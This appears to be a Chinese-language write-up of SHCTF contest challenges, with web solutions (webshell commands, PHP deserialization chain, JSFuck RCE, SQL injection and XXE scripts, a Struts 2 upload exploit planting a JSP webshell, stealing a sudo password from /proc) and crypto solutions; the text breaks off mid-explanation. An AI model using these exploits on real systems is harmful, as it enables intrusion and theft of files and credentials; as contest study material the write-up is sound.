SHCTF WP
#WEB:
1.Challenge Info - [阶段1] 05_em_v_CFK
ctrl+u 发现一段 Base64 : /5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc 5MPa/ ,赛博厨子解密(Base64/ROT13),得到:“我上传了个 shell.php,带上 show 参数 get 小明的圣遗物吧”。
使用 dirsearch 工具扫描,发现存在 /uploads/ 。 访问 …/uploads/shell.php?show=1 ,得到一段php。
<?phpif (isset($_GET['show'])) {highlight_file(__FILE__);}$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';if (isset($_POST['key']) && md5($_POST['key']) === $pass) {if (isset($_POST['cmd'])) {system($_POST['cmd']);} elseif (isset($_POST['code'])) {eval($_POST['code']);}} else {http_response_code(404);}需要 POST key 。 key 的 MD5 必须等于 c4d038b4bed09fdb1471ef51ec3a32cd 。 在线网站碰撞得到114514。 利用webshell执行 ls -la ,发现题目源码,抓取得到漏洞点:
$stmt = $pdo->prepare("CALL buy_item(?, ?)");$stmt->execute([$target_id, $my_money]);可以直接控制 buy_item 来购买flag。
Javascirp:
fetch('/uploads/shell.php', {method: 'POST',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: 'key=114514&code=include("../connect.php"); $stmt=$pdo->prepare("CALLbuy_item(3, 100.00)"); $stmt->execute(); var_dump($stmt->fetch());'}).then(res => res.text()).then(console.log);得到flag:SHCTF{303ca142-b526-4df2-98c3-aa258ec5d919}
2.Challenge Info - [阶段1] Ezphp
<?phphighlight_file(__FILE__);error_reporting(0);
class Sun{ public $sun;
public function __destruct() { die("Maybe you should fly to the " . $this->sun); }}
class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune;
public function __set($name, $key) { $this->Mars = $key; $Dyson = $this->Mercury; $Sphere = $this->Venus; $Dyson->$Sphere($this->Mars); }
public function __call($func, $args) { if (!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])) { $exploar = new $func($args[0]); $road = $this->Jupiter; $exploar->$road($this->Saturn); } else { die("Black hole"); } }}
class Moon{ public $nearside; public $farside;
public function __tostring() { $starship = $this->nearside; $starship(); return ''; }}
class Earth{ public $onearth; public $inearth; public $outofearth;
public function __invoke() { $oe = $this->onearth; $ie = $this->inearth; $ote = $this->outofearth; $oe->$ie = $ote; }}
if (isset($_POST['travel'])) { $a = unserialize($_POST['travel']); throw new Exception("How to Travel?");}php反序列化。
__call 里的正则过滤了 system 等常用函数,但没有过滤 readfile 。
攻击链:
Sun::__destruct` -> `Moon` -> `Earth` -> `Solar(A)::__set` -> `Solar(B)::__call` -> `ReflectionFunction('readfile')->invoke('/flag')PHP:
<?php$solB = new Solar();$solB->Jupiter = "invoke";$solB->Saturn = "/flag";
$solA = new Solar();$solA->Mercury = $solB;$solA->Venus = "ReflectionFunction";
$earth = new Earth();$earth->onearth = $solA;$earth->inearth = "Sun";$earth->outofearth = "readfile";
$moon = new Moon();$moon->nearside = $earth;
$sun = new Sun();$sun->sun = $moon;
$a = array(0 => $sun, 1 => "trigger");$payload = serialize($a);$payload = str_replace('i:1;s:7:"trigger";', 'i:0;s:7:"trigger";', $payload);
echo urlencode($payload);?>带上travel参数,post一下。
得到flag:SHCTF{81d6d5eb-964d-4d85-ab4f-c64bf813078d}
3.Challenge Info - [阶段1] calc?js?fuck!
看一下源码:
后端将输入 expr 直接丢进 eval() 执行:
- WAF 规则:
/^[012345679!\.\-\+\*\/\(\)\[\]]+$/ - 允许字符: 数字
0-7和9(没有8),以及符号! . - + * / ( ) [ ]。 - 禁止内容: 所有英文字母、引号、以及数字
8。
看到这个waf,我总感觉我刷到过类似的题型,是nss还是buu,有点记不起来了。
反正js fuck就是用!+这些东西构造javascript。
构造:process.mainModule.require(‘child_process’).execSync(‘cat /flag’).toString()
[JSFuck - Write any JavaScript with 6 Characters: !+](https://jsfuck.com/)
jsfuck编码一下。
然后用脚本直接发送。
PY:
import requests
url = " "
raw_payload = r"""jsfuck‘"""
def pwn(): safe_payload = raw_payload.replace('8', '(7+1)') # 避免出现8 safe_payload = "".join(safe_payload.split())
try: res = requests.post(url, json={"expr": safe_payload}, timeout=20) print(f"{res.status_code}") print(f"\n{res.text}") except Exception as e: print(f"错误: {e}")
if __name__ == "__main__": pwn()得到flag:SHCTF{53d5d48d-efae-4b70-8319-99781dacceeb}
4.Challenge Info - [阶段1] ez-ping
命令注入漏洞:
后端黑名单限制了一些简单的常用读取命令和通配符,有cat, flag, tac, more, *等。
Fuzz 测试,确认 & 、空格、以及 ? 是可以正常使用的。
通过ls确定文件名,用nl代替cat。

得到flag:SHCTF{96d07694-4ca2-49c2-b536-219025b5079f}
5.Challenge Info - [阶段1] kill_king
小游戏网页,玩都没玩,直接看源码。
view-source:http://challenge.shc.tf:xxxxx/ 突破限制。

logic.js 中当击败最终 Boss 后,会出现这样的请求,可以直接跳关:
fetch('check.php', { method: 'POST', body: 'result=win' })得到源码:
<?php// 国王并没用直接爆出flag,而是出现了别的东西???if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['result']) && $_POST['result'] === 'win') { highlight_file(__FILE__); if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){ $who = (String)$_GET['who']; $are = (String)$_GET['are']; $you = (String)$_GET['you'];
if(is_numeric($who) && is_numeric($are)){ if(preg_match('/^\W+$/', $you)){ $code = eval("return $who$you$are;"); echo "$who$you$are = ".$code; } } } } else { echo "Invalid result."; }} else { echo "No access.";}?>$who 和 $are 必须是数字。
$you 不能有字母、数字和下划线。
限制了字母数字,直接用取反~来做。
readfile (“%8D%9A%9E%9B%99%96%93%9A”)
/flag (“%D0%99%93%9E%98”)

得到flag:SHCTF{9d5907bf-4a82-4529-9a1e-c7e8e3d452a6}
6.Challenge Info - [阶段1] 上古遗迹档案馆
sql注入测试,get方法,参数为id=?

字符报错注入
看不出来有黑名单,直接脚本秒了。
PY:
import requestsimport re
target_url = " "
def get_res(payload): full_payload = f"1' and {payload}-- " try: r = requests.get(target_url, params={'id': full_payload}, timeout=5) match = re.search(r"~(.*?)~", r.text) return match.group(1) if match else None except Exception as e: print(f"失败: {e}") return None
def solve(): db_name = get_res("updatexml(1,concat(0x7e,database(),0x7e),1)") print(f"数据库名: {db_name}")
table_name = get_res(f"updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='{db_name}' limit 1,1),0x7e),1)") print(f"{table_name}")
column_name = get_res(f"updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='{table_name}' limit 1,1),0x7e),1)") print(f"{column_name}")
print("提取Flag...") full_flag = "" for i in range(1, 4): start = (i-1) * 30 + 1 part = get_res(f"updatexml(1,concat(0x7e,substr((select {column_name} from {table_name} limit 0,1),{start},30),0x7e),1)") if part: full_flag += part else: break
print("\n" + "="*40) print(f"Flag: {full_flag}") print("="*40)
if __name__ == "__main__": solve()得到flag:SHCTF{d74b0a4a-5cff-42b6-9435-c10b3aff5ab1}
7.Challenge Info - [阶段2] Go

只有 role='admin' 才能查看 Flag。
直接尝试发送 {"role": "admin"} 会被 WAF 。
后端服务使用 Go 语言 编写。在 Go 的库中,json.Unmarshal 函数在将 JSON 数据映射到结构体时,大小写不敏感:如果没有明确指定标签,Go语言会尝试匹配键名的大小写。
直接用脚本测试大小写。
PY:
import requests
url = " "
def try_payload(name, data=None, headers=None): print(f"尝试: {name}") try: if isinstance(data, str): res = requests.post(url, data=data, headers={"Content-Type": "application/json"}, timeout=5) else: res = requests.post(url, json=data, timeout=5)
print(f"状态: {res.status_code}") print(f"内容: {res.text}\n") if "flag{" in res.text.lower(): print("拿下!!!") return True except Exception as e: print(f"失败: {e}") return False
try_payload("大小写绕过 (Role)", {"Role": "admin"})
payload_unicode = '{"role": "\\u0061dmin"}'try_payload("Unicode转义", data=payload_unicode)
payload_dup = '{"role": "guest", "role": "admin"}'try_payload("重复绕过", data=payload_dup)
payload_mix = '{"Role": "\\u0061dmin"}'try_payload("混合绕过", data=payload_mix)得到flag:SHCTF{cc779b25-bc40-479b-96b7-a1476fcdb80e}
8.Challenge Info - [阶段2] Mini Blog
/create 页面存在 XXE 漏洞:
var xmlData = '<?xml version="1.0" encoding="UTF-8"?><post><title>' + title + '</title><content>' + content + '</content></post>';fetch('/create', { method: 'POST', headers: { 'Content-Type': 'application/xml' }, body: xmlData});后端直接解析了发送的 XML 数据。
直接构造:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE post [ <!ENTITY xxe SYSTEM "file:///flag">]><post> <title>hack</title> <content>&xxe;</content></post>curl -X POST -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE post [<!ENTITY xxe SYSTEM \"file:///flag\">]><post><title>HACK</title><content>&xxe;</content></post>" http://challenge.shc.tf:端口/create用curl直接拿下。
得到flag:SHCTF{c86b63a1-c34b-4685-8210-c8e2b2e23086}
9.Challenge Info - [阶段3] BabyJavaUpload
通过前端源码

action 为 upload.action,猜测识后端框架为 Struts 2。尝试CVE-2023-50164。
通过bp发送两个文件块:
一个包含文件内容,name="Myfile"。
另一个包含恶意路径,name="MyfileFileName",值设为 ../../../shell.jsp。
如果漏洞正确,服务器读取会 myfile 的内容,然后读取 myfileFileName 里的文件名,最后拼成 /tmp/shell.jsp。
就能完成恶意路径文件的存储,上传成功,但是访问404,那说明就不是这个漏洞。
尝试S2-067。
Struts 2 使用的是OGNL的强力表达式引擎。它会把我们的参数自动塞进后端的对象。
在 Struts 2 的内存栈(ValueStack)中,存在一个 top 永远指向当前正在运行的那个对象,如果在请求中塞进一个名为 top.myfileFileName 的参数,就可以欺骗 OGNL ,将当前 Action 对象里的 myfileFileName 属性进行修改。
我们构造一个新的请求,包含:
- 文件组件 (
myfile):WebShell 源码。 - 指令组件 (
top.myfileFileName):一个指针。
PY:
import requestsfrom requests_toolbelt.multipart.encoder import MultipartEncoderimport randomimport string
TARGET_IP = "challenge.shc.tf"TARGET_PORT = "端口"BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}"UPLOAD_URL = f"{BASE_URL}/upload.action"
# 构造webshellSHELL_CONTENT = """<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:scriptlet> Process p = Runtime.getRuntime().exec("cat /flag"); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\\\A"); out.println(s.hasNext() ? s.next() : "No output");</jsp:scriptlet></jsp:root>"""
def get_random_name(): return ''.join(random.choices(string.ascii_lowercase, k=6)) + ".jspx"
def run_burst(): print(f"深度爆破...")
test_paths = [] for i in range(0, 7): prefix = "../" * i test_paths.append(prefix) test_paths.append(f"{prefix}webapps/ROOT/")
for path_prefix in test_paths: filename = get_random_name() target_traversal_path = f"{path_prefix}{filename}"
print(f"利用漏洞中: top.myfileFileName -> {target_traversal_path}")
fields = { 'top.myfileFileName': target_traversal_path, 'myfile': (filename, SHELL_CONTENT, 'application/octet-stream') }
m = MultipartEncoder(fields=fields) headers = {'Content-Type': m.content_type}
try: requests.post(UPLOAD_URL, data=m, headers=headers, timeout=5)
verify_url = f"{BASE_URL}/{filename}" r = requests.get(verify_url, timeout=3)
if r.status_code == 200 and "SHCTF{" in r.text: print("\n" + "="*50) print(f"成功!") print(f"路径: {target_traversal_path}") print(f"Flag: {r.text.strip()}") print("="*50) return True elif r.status_code == 200: print(f"写入但没有flag,检查回显: {verify_url}") except Exception: pass
return False
if __name__ == "__main__": if not run_burst(): print("\n失败")得到flag:SHCTF{c0aed86a-d575-444c-ae62-76ab3359a4cc}
10.Challenge Info - [阶段3] sudoooo0
通过多次爆破发现shell名字, webshell.php .
通过访问 webshell.php 并执行 id 命令,确认当前权限为: uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) ,尝试执行 sudo -u#-1 cat /flag 发现报错 unknown user #-1,说明这个方法不行。
通过列举文件,发现 /docker-entrypoint.sh,这是 Docker 容器启动时的初始化脚本。
读取内容:
NEWPASS=$(head -c 24 /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 16)echo "ctf:${NEWPASS}" | chpasswdsu - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v >/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &"该脚本生成了一个 16 位的随机密码给 ctf 用户,并在后台运行了一个包含该密码的 sudo 进程。
因为后台的进程一直挂着 sleep infinity,且进程的所有者是 ctf,那我们就可以通过 /proc/[PID]/cmdline 读取到该进程启动时的完整参数,从而拿到密码。
由于Web 环境下的 PHP shell_exec 没有终端环境,直接运行 sudo 报错,所以要使用 script -qc 命令来伪造一个伪终端来执行操作。
最终得到flag。
PY:
import requestsimport base64import re
url = ".../webshell.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2"
def run_remote(cmd): b64_cmd = base64.b64encode(cmd.encode()).decode() payload = f"passthru(base64_decode('{b64_cmd}'));" try: res = requests.get(url, params={'cmd': payload}, timeout=10) return res.text except Exception as e: return str(e)
def solve(): print("读取密码中...")
raw_info = run_remote('cat /proc/25/cmdline | tr "\\0" " "')
match = re.search(r'echo\s+([^\s|]+)\s+\|', raw_info)
if not match: print("失败") return
password = match.group(1) print(f"密码: {password}")
print("使用密码执行 sudo cat /flag ...")
final_cmd = f'echo "{password}" | script -qc "sudo -S cat /flag" /dev/null'
output = run_remote(final_cmd)
print("-" * 40) flag = re.search(r'(flag\{.*\}|shctf\{.*\})', output, re.IGNORECASE) if flag: print(f"Flag为: {flag.group(1)}") else: print(f"回显:\n{output.strip()}") print("-" * 40)
if __name__ == "__main__": solve()得到flag:SHCTF{$Udo_T0KeN_1NJ3CT1ON_pwN3d_z0zs}
11.Challenge Info - [阶段3] 你也懂java?
通过附件的源码分析,发现:
存在 java.io.Serializable 接口 ,属性包含 serialVersionUID = 1L 以及 title、message、filePath 三个字符串属性 ,用来存储信息。
public void handle(HttpExchange exchange) throws IOException { String method = exchange.getRequestMethod(); String path = exchange.getRequestURI().getPath();
if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) { try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) { Object obj = ois.readObject(); if (obj instanceof Note) { Note note = (Note) obj; if (note.getFilePath() != null) { echo(readFile(note.getFilePath())); } } } catch (Exception e) {} }}题目源码监听 /upload 路径并接收 post。
ObjectInputStream.readObject() 直接从请求中读取并还原对象。
攻击链:当程序将还原的对象强制转换为 Note 类,调用 note.getFilePath() 获取路径,之后服务器调用 readFile() 读取该路径下的文件内容,并将其直接回显出来。
思路:
在本地编写一个 Note 类,确保其包名和 serialVersionUID 与题目一样。创建一个 Note 对象,将其 filePath 属性设置为服务器上的 flag 路径。将该对象序列化为二进制流,POST 给靶机的 /upload。
Note.java:
import java.io.Serializable;
public class Note implements Serializable { private static final long serialVersionUID = 1L;
private String title; private String message; private String filePath;
public Note(String title, String message, String filePath) { this.title = title; this.message = message; this.filePath = filePath; }
public String getFilePath() { return filePath; }}Exp.java:
import java.io.*;
public class Exp { public static void main(String[] args) throws Exception { Note myNote = new Note("Exploit", "test", "/flag");
FileOutputStream fos = new FileOutputStream("payload.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(myNote); oos.close(); System.out.println("[+] Success: payload.ser has been created!"); }}PY:
import requests
url = "http://challenge.shc.tf:端口/upload"
def solve(): try: with open("payload.ser", "rb") as f: data = f.read()
print(f"发送中...") response = requests.post(url, data=data)
print("-" * 40) print(f"{response.status_code}") print("回显:") print(response.text.strip()) print("-" * 40)
except Exception as e: print(f"错误: {e}")
if __name__ == "__main__": solve()得到flag:SHCTF{e90e68bb-91c9-4068-aec5-7af27e84280a}
#密码:
1.Challenge Info - [阶段1] AES的诞生
task.py:from typing import Optionalfrom cryptography.hazmat.primitives import paddingfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesimport os, secrets, stringfrom time import timefrom secret import flag
flag = b'SHCTF{This_1s_@_FaK3_flag}'
def get_seed() -> Optional[bytes]: length = len((f"{int(time() * 10 ** 6)}" * 2).encode("utf-8")) if (length == 32) : return (f"{int(time() * 10 ** 6)}" * 2).encode("utf-8")
def oracle(chunk: str, cipher: Cipher, pkcs7_padding: padding.PKCS7) -> str: padder = pkcs7_padding.padder() padded = padder.update(chunk.encode("utf-8")) + padder.finalize() encryptor = cipher.encryptor() return (encryptor.update(padded) + encryptor.finalize()).hex()
def chunk(data: bytes, group_size: int = 7, random_fill: bool = True) -> list[str]: val = int.from_bytes(data, "big") bin_str = format(val, "b") alphabet = string.digits + string.ascii_letters groups: list[str] = [] for i in range(0, len(bin_str), group_size): g = bin_str[i : i + group_size] if len(g) < group_size: if random_fill: fill = ''.join(secrets.choice(alphabet) for _ in range(group_size - len(g))) else: fill = '0' * (group_size - len(g)) g = g + fill groups.append(g) return groups
def main() -> None: key = get_seed() groups = chunk(flag, group_size=7, random_fill=True) iv = os.urandom(16) aes_cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) pkcs7 = padding.PKCS7(algorithms.AES.block_size) ciphertexts = [oracle(g, aes_cipher, pkcs7) for g in groups] out_lines: list[str] = [] def log(*parts): line = ' '.join(str(p) for p in parts) out_lines.append(line) print(line) log('iv =', iv.hex()) log('————————————————————————————————————') for ct in ciphertexts: log(('|'),ct,('|')) log('————————————————————————————————————')
data_path = os.path.join(os.path.dirname(__file__), 'data.txt') with open(data_path, 'w', encoding='utf-8') as f: f.write('\n'.join(out_lines))
if __name__ == "__main__": main()密钥由 time() 获取的时间生成,代码要求 length == 32 。 f"{int(time() * 10 ** 6)}" 生成时间字符串。要使重复两次后长度为 32,时间必须为16位,即多次思考后得到的AES的诞生时间2001-11-26。
代码中存在 modes.CBC(iv),但在 oracle 函数中, cipher.encryptor() 都会重置。 这说明着每一个 chunk 都是作为 AES-CBC 的第一个块进行加密的,且使用的是固定的 IV。
可以得到密文解密公式:
EXP:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.primitives import paddingimport datetime
def solve(): # 构造密钥 ts = int(datetime.datetime(2001, 11, 26, 0, 0, 0, tzinfo=datetime.timezone(datetime.timedelta(hours=8))).timestamp())
key_str = str(ts * 10**6) * 2 key = key_str.encode("utf-8")
iv = bytes.fromhex("d966f3a0c51cd460764b0b62ad10796a") print(f"Key: {key}")
# 读取密文 ciphertexts = [] try: with open('data.txt', 'r', encoding='utf-8') as f: for line in f: line = line.strip() if line.startswith('|') and line.endswith('|'): ct_hex = line.strip('| ').strip() ciphertexts.append(ct_hex) except FileNotFoundError: print("not found.") return
# 解密 cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) binary_stream = ""
for ct_hex in ciphertexts: try: ct = bytes.fromhex(ct_hex) decryptor = cipher.decryptor() # 解密 # 去除填充 padded_pt = decryptor.update(ct) + decryptor.finalize()
pkcs7 = padding.PKCS7(128) unpadder = pkcs7.unpadder() pt = unpadder.update(padded_pt) + unpadder.finalize()
binary_stream += pt.decode('utf-8') except Exception as e: print(f"Decrypt error: {e}")
# 二进制流每7位一组,尝试转换 for i in range(7): curr = binary_stream if i == 0 else binary_stream[:-i] try: flag_int = int(curr, 2) flag_bytes = flag_int.to_bytes((len(curr) + 7) // 8, 'big') if b'SHCTF{' in flag_bytes: # flag特征 print(f"\nFlag: {flag_bytes.decode()}") break except: pass
if __name__ == "__main__": solve()得到flag:SHCTF{HE1lO_ctf3r_W3Lcome_tO_5hc7f_THi5_iS_e5aY_cRypt0@!!!}
2.Challenge Info - [阶段1] Ez_RSA
chall.py:from Crypto.Util.number import getPrime,bytes_to_longfrom gmpy2 import invertfrom secret import flag
m = bytes_to_long(flag)
p = getPrime(512)q = getPrime(512)n = p*qphi = (p-1) * (q-1)e = getPrime(1019)d = invert(e, phi)
c = pow(m,e,n)"""n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774"""看起来跟标准的RSA题目无疑,除了e的值特别大,应该有1000bit跟c一样。正常e都是65537,e*d=1,现在这么大,那说明私钥的d会很小,没做过这种低解密指数的RSA,稍微差一下,发现一个新的攻击方式,维纳攻击。
关键点为:当 时,可以通过 的连分数展开来恢复私钥 。

稍微学习一下。
slove d.py:import math
def get_convergents(e, n): #计算连分数渐近分数 cf = [] a, b = e, n while b: cf.append(a // b) a, b = b, a % b
num1, den1 = 0, 1 num2, den2 = 1, 0 convergents = [] for x in cf: num1, num2 = num2, x * num2 + num1 den1, den2 = den2, x * den2 + den1 convergents.append((num2, den2)) # (k, d) return convergents
def recover_d(e, n): #维纳攻击主函数 convergents = get_convergents(e, n) for k, d in convergents: if k == 0: continue # 检查 ed = 1 (mod phi) if (e * d - 1) % k == 0: phi = (e * d - 1) // k # 分解n s = n - phi + 1 delta = s * s - 4 * n if delta > 0: sqrt_delta = math.isqrt(delta) if sqrt_delta * sqrt_delta == delta: print(f"[+] 找到私钥 d: {d}") return d return None
# 参数填入n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689
d = recover_d(e, n)
找到私钥 d: 13381010831988668939315406679736078064417157389064253385691768500704978358617EXP:
def long_to_bytes(n): return n.to_bytes((n.bit_length() + 7) // 8, 'big')
d = 13381010831988668939315406679736078064417157389064253385691768500704978358617n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774
# 解密m = pow(c, d, n)flag = long_to_bytes(m)print(f"{flag.decode()}")得到flag:SHCTF{e950ea87356fc62ce6323253a672680e}
3.Challenge Info - [阶段1] Stream
task.py:from secrets import randbitsfrom secret import FLAG, P_known
def gen(): while True: m = randbits(63) | (1 << 62) | 1 if m > 2**62: break a = randbits(62) | 3 c = randbits(62) | 1 s0 = randbits(62) | 5 return m, a, c, s0
def LCG(m, a, c, s0, nblocks): x = s0 out = [] for _ in range(nblocks): x = (a * x + c) % m out.append(x) return out
def encrypt(m, a, c, s0, plaintext: bytes) -> bytes: padlen = (-len(plaintext)) % 8 pt = plaintext + b'\x00' * padlen blocks = [int.from_bytes(pt[i:i+8], 'big') for i in range(0, len(pt), 8)] ks = LCG(m, a, c, s0, len(blocks)) cblocks = [b ^ k for b, k in zip(blocks, ks)] return b''.join(cb.to_bytes(8, 'big') for cb in cblocks)
def main(): m, a, c, s0 = gen() cipher = encrypt(m, a, c, s0, P_known + FLAG)
C_known = cipher[:len(P_known)] C_flag = cipher[len(P_known):len(P_known) + len(FLAG)]
print("P_known =",P_known) print("C_known =", C_known.hex()) print("C_flag =", C_flag.hex())
if __name__ == "__main__": main()
'''
P_know = b'Insecure_linear_congruential_random_number!!!!!!'C_known = 44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29249845720588cac007bfb94f8476d91aC_flag = 1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5bf2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a
'''这是一个线性同余生成器 (LCG) 的题目。
题目给出了明文 P_known 及其对应的密文 C_known。
LCG 的状态转移方程为:
均为随机生成且未知,需要通过已知的状态序列还原。
利用流密码的异或特性 可以还原出前 6 个连续的状态值。
m:
通过计算多个gcd,可以得到m。
**a, c **:
EXP:
import mathfrom Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
# 参数填入P_known = b'Insecure_linear_congruential_random_number!!!!!!'C_known = bytes.fromhex("44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29249845720588cac007bfb94f8476d91a")C_flag = bytes.fromhex("1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5bf2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a")
# 状态还原S = [bytes_to_long(P_known[i:i+8]) ^ bytes_to_long(C_known[i:i+8]) for i in range(0, len(P_known), 8)]
# mdiffs = [S[i+1] - S[i] for i in range(len(S)-1)]zeros = [abs(diffs[i+2] * diffs[i] - diffs[i+1]**2) for i in range(len(diffs)-2)]m = zeros[0]for z in zeros[1:]: m = math.gcd(m, z)while m % 2 == 0: m //= 2
# a, ca = ((S[2] - S[1]) * inverse(S[1] - S[0], m)) % mc = (S[1] - a * S[0]) % m
# 解密curr_s = S[-1]flag_bytes = b""for i in range(0, len(C_flag), 8): curr_s = (a * curr_s + c) % m chunk = C_flag[i:i+8] keystream = long_to_bytes(curr_s, 8) flag_bytes += bytes([b ^ k for b, k in zip(chunk, keystream)])
print(flag_bytes.decode('utf-8', errors='ignore').strip('\x00'))得到flag:SHCTF{LLLLLLLLLLLLLLLCCCCCGGGGGGGGG_TGY%JgWOmAM6V5n55w3m*jcPJZjHO8E1VvzrGjT84tXS332D&o4GZe8%KKzEyAngmwwx9bp5dv_O4dPpOvMy1^hM}
4.Challenge Info - [阶段1] TE
task.py:from Crypto.Util.number import *import randomfrom secret import flag
p, q = getPrime(512), getPrime(512)n = p * q
e1 = random.getrandbits(32)e2 = random.getrandbits(32)
print(f'{e1 = }')print(f'{e2 = }')
m = bytes_to_long(flag)c1 = pow(m, e1, n)c2 = pow(m, e2, n)
print(f'{n = }')print(f'{c1 = }')print(f'{c2 = }')
'''e1 = 740153575e2 = 2865243571n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323'''可以很快看出来这是一个共模攻击的题目。
同一个明文 使用同一个模数 ,但使用了两个不同的指数 进行加密。
EXP:
from Crypto.Util.number import long_to_bytes
def extended_gcd(a, b): if a == 0: return b, 0, 1 else: g, y, x = extended_gcd(b % a, a) return g, x - (b // a) * y, y
# 参数填入e1 = 740153575e2 = 2865243571n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323
gcd_val, a, b = extended_gcd(e1, e2)
if gcd_val == 1: m = (pow(c1, a, n) * pow(c2, b, n)) % n print(long_to_bytes(m).decode())else: print(f"WRONG!!!!!!!")得到flag:SHCTF{lYQkkk3ud4hqV3fZtPWH077vhI2Bqcz19ZRxf1vwRU8Ej4uvrJcF02Sd4bzjxqUH5096qWDIdTyEJ$JzF}
5.Challenge Info - [阶段1] not_eight_length
task.py:from Crypto.Util.number import *from sympy import *from secret import encrypted_flag
m = bytes_to_long(encrypted_flag)p = getPrime(512)temp = nextprime(p)q = nextprime(temp)n = p * qe = 65537c = pow(m, e, n)
print(f'n = {n}')print(f'e = {e}')print(f'c = {c}')
# n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527# e = 65537# c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446p与q非常相近,可以用费马分解:
令 ,则
